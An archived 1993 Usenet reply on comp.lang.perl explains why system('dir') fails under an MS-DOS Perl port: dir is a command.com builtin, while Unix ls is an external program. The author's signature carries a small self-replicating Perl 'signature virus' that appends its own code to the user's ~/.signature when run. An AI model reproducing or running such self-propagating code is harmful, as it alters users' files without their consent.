home *** CD-ROM | disk | FTP | other *** search
- Path: sparky!uunet!think.com!spool.mu.edu!umn.edu!cybrspc!roy
- From: roy%cybrspc@cs.umn.edu (Roy M. Silvernail)
- Newsgroups: comp.lang.perl
- Subject: Re: Copying files; system and exec for MS-DOS perl?
- Message-ID: <5ygswB5w165w@cybrspc.UUCP>
- Date: Sun, 03 Jan 93 00:53:03 CST
- References: <1993Jan2.220240.16046@athena.mit.edu>
- Organization: Villa CyberSpace, Minneapolis, MN
- Lines: 27
-
- aeichsta@athena.mit.edu (Andrew J. Eichstaedt) writes:
-
- > I'm using Len Reed's version of Perl for MS-DOS. I wanted my perl script
- > simply to copy a file to another, new file.
- >
- > * Failing a built-in copy function, I thought I could do something like
- > system("copy $oldFile $newFile"). However, I can't seem to get system or
- > exec working in the version of perl I'm using. A line like
- > perl -e "system('dir')" seems to do nothing in the DOS version, whereas
- > perl -e "system('ls')" gives a directory (as I'd expect) when I try it on a
- > Unix machine. Again, am I missing something obvious?
-
- I'd say it's something obvious... :-)
-
- It appears (and I'll have to do some experimenting to verify this) that
- perl is handling the system() call without a new instantiation of the
- command processor. The 'dir' command is a builtin for command.com and
- 4dos, so it fails (since a new command shell wasn't spawned). But 'ls'
- works because Unix shells typically have very few builtin commands. The
- 'ls' calls the external command program 'ls', not a builtin shell
- command.
- --
- Roy M. Silvernail -- roy%cybrspc@cs.umn.edu - OR- cybrspc!roy@cs.umn.edu
- #! /usr/bin/perl
- open(I,"$0");@a=(<I>);shift(@a) until $a[0] =~ /^#!/;
- open(I,">>$ENV{'HOME'}/.signature");print I @a;__END__
- <perl signature virus V2.0 - do 'perl -x articlename'>
-